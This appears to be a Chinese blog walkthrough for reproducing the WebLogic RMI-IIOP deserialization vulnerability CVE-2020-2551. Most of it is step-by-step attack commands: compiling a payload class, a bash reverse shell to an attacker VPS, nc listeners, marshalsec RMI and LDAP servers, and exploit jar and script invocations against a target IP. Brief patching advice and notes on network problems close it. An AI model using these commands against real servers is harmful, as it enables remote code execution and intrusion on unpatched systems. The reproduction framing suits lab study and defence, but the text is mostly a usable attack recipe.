Weblogic RMI-IIOP(cve-2020-2551)复现

Weblogic RMI-IIOP(cve-2020-2551)复现_第1张图片

0x01 复现

RMI方式:
1.vps 生成exp.class(示例为windows弹计算器,如果想反弹linux shell 把命令改成bash -i >& /dev/tcp/vps/4444 0>&1,然后vps用nc -lvvp 4444 监听本地端口即可,用java1.6版本编译成功率高)
javac -source 1.6 -target 1.6 exp.java
2.vps 在当前目录开一个web服务,记得在vps上开防火墙策略
python -m SimpleHTTPServer 80(python2)
python3 -m http.server 80(python3)
3.vps 通过marshalsec开放JRMP监听本地端口 2222,调用RMI服务(#后的内容代表调用的class文件名)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://vps/#exp” 2222
4.本地 攻击,使目标服务器访问vps的2222端口,运行exp
java -jar CVE-2020-2551-master.jar 目标ip 7001 rmi://vps:2222/exp
ps:最后一步最好在本机执行,vps上可能会遇到环境不一致的问题。(openjdk和oraclejdk的差别)

Weblogic RMI-IIOP(cve-2020-2551)复现_第2张图片
Weblogic RMI-IIOP(cve-2020-2551)复现_第3张图片

LDAP方式:
1.vps 开启LDAP和HTTP远程监听 (8000和389端口)
java -jar Ldapserver.jar -ip vps
2.vps 监听nc(4444端口)
nc -lvvp 4444
3.本地 攻击
python weblogic-cve-2020-2551.py 目标ip:7001 vps:389 vps:4444

Weblogic RMI-IIOP(cve-2020-2551)复现_第4张图片

修复建议:
1.打weblogic 今年1月份的补丁
2.关t3
3.停weblogic(一劳永逸)

0x02 实际复现过程中遇到的问题

本地复现如果用windows tool搭的docker可能会出现docker内的虚机无法访问vps,就没触发exp.class。应该是NAT地址转换的原因,docker的地址是172的,linux搭建的docker好像没这个问题(哭了 )。后来我在windows机又单独搭了一个weblogic环境。

再说一下比较鸡肋的点,iiop建立通信后,使目标服务器主动对vps的访问触发exp.class(RMI方式),如下图,如果防火墙对端口做的是白名单,那就凉凉了。。
nc反弹shell创建连接
再者说在互联网环境下,防火墙对服务器进行NAT地址转换,iiop协议默认绑定的是个内网地址,发给vps,此时vps与一个内网地址建立连接,那肯定是无法成功的。。。

0x03 参考链接

Y4er/CVE-2020-2551
手把手教你解决Weblogic CVE-2020-2551 POC网络问题
WebLogic CVE-2020-2551漏洞分析
Weblogic CVE-2020-2551 IIOP反序列化漏洞复现

你可能感兴趣的:(渗透)